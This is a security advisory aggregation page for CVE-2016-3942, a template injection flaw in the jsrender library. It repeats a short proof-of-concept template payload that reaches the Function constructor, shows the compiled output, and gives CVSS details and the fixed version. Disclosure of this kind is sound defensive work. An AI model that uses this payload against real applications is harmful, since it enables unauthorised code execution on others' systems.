CVE-2016-3942
Template Injection in jsrender
Affected versions of jsrender are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.
Proof of Concept
//POC-REQUEST
{{for ~x!=1?(constructor.constructor("return arguments.callee.caller")()):~y(10)}}
{{:#data}}
{{/for}}
//POC-RESPONSE
function anonymous(data,view,j,u) { // template var v,t=j._tag,ret="" +t("for",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)']}, args:[view.hlp("x")!=1?(data.constructor.constructor("return arguments.callee.caller")()):view.hlp("y")(10)], props:{}}]); return ret; }
Recommendation
Update to version 0.9.74 or later.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- Low
What each source reports
GitHub Advisories Score usedGHSA-r87w-47m8-22w3
Template Injection in jsrender
Affected versions of jsrender are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.
Proof of Concept
//POC-REQUEST
{{for ~x!=1?(constructor.constructor("return arguments.callee.caller")()):~y(10)}}
{{:#data}}
{{/for}}
//POC-RESPONSE
function anonymous(data,view,j,u) { // template var v,t=j._tag,ret="" +t("for",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)']}, args:[view.hlp("x")!=1?(data.constructor.constructor("return arguments.callee.caller")()):view.hlp("y")(10)], props:{}}]); return ret; }
Recommendation
Update to version 0.9.74 or later.
- Record
GHSA-r87w-47m8-22w3- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-94
- Updated
- 2026-11-02
OSVGHSA-r87w-47m8-22w3
Template Injection in jsrender
Affected versions of jsrender are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.
Proof of Concept
//POC-REQUEST
{{for ~x!=1?(constructor.constructor("return arguments.callee.caller")()):~y(10)}}
{{:#data}}
{{/for}}
//POC-RESPONSE
function anonymous(data,view,j,u) { // template var v,t=j._tag,ret="" +t("for",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)']}, args:[view.hlp("x")!=1?(data.constructor.constructor("return arguments.callee.caller")()):view.hlp("y")(10)], props:{}}]); return ret; }
Recommendation
Update to version 0.9.74 or later.
- Record
GHSA-r87w-47m8-22w3- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-94
- Updated
- 2026-11-02
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | GitHub Advisories, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2016-3942 is a medium vulnerability (CVSS 6.3) in jsrender, published September 1, 2020. No source lists public exploit code. Fixed in jsrender 0.9.74.